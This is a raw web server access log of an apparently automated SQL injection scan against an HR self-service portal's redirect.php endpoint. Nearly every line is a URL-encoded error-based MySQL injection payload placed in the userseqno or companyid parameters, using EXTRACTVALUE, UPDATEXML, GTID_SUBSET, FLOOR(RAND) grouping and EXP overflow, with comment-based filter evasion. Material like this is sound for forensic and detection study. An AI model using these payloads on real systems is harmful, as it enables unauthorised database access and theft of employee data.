100.64.0.1 - - [07/Sep/2025:02:23:05 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x66584173%2C%28NULL%29%2C0x66465671%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F0Gzh%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x7851696c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33574730%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F52Nk HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x7851696c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33574730%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F52Nk HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4c59744f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73524b72%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FFj13 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4c59744f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73524b72%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FFj13 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4534306a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3463654b%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F0mom HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4534306a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3463654b%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F0mom HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x75724758%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45684650%29%29--%2F%2A%2A%2FNaAq HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x75724758%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45684650%29%29--%2F%2A%2A%2FNaAq HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4631394c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76745179%29%2C5431%29--%2F%2A%2A%2FJtGZ HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4631394c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76745179%29%2C5431%29--%2F%2A%2A%2FJtGZ HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x594f4c72%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46583566%29%2C6420%29--%2F%2A%2A%2FKsXH HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x594f4c72%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46583566%29%2C6420%29--%2F%2A%2A%2FKsXH HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x65516569%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63625162%29%2C6420%29--%2F%2A%2A%2FJ7wh HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x65516569%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63625162%29%2C6420%29--%2F%2A%2A%2FJ7wh HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x466a4641%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30453942%29%29--%2F%2A%2A%2FJfuV HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x466a4641%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30453942%29%29--%2F%2A%2A%2FJfuV HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7956316d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74647838%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Frlef HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7956316d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74647838%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Frlef HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x78486c30%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e574156%29%2C5431%29--%2F%2A%2A%2Fyfaj HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x78486c30%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e574156%29%2C5431%29--%2F%2A%2A%2Fyfaj HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6b5a3432%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3449644c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FDNB2%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7668366f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x664b4c63%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fv9nc&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x754f6275%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d39637a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FRhnF HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x754f6275%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d39637a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FRhnF HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x58687862%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67395073%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FNjZ7%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x58687862%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67395073%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FNjZ7%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x576e6155%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f693041%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FD0IL HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x576e6155%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f693041%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FD0IL HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x536b6476%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d6f6c4f%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2Fa4MH HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x536b6476%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d6f6c4f%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2Fa4MH HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x54505a4a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a4c6c36%29%29x%29%29--%2F%2A%2A%2F1hKY HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x54505a4a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a4c6c36%29%29x%29%29--%2F%2A%2A%2F1hKY HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x55317751%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32633879%29%29x%29%29--%2F%2A%2A%2FNe2g HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:06 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x55317751%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32633879%29%29x%29%29--%2F%2A%2A%2FNe2g HTTP/1.1" 200 5915
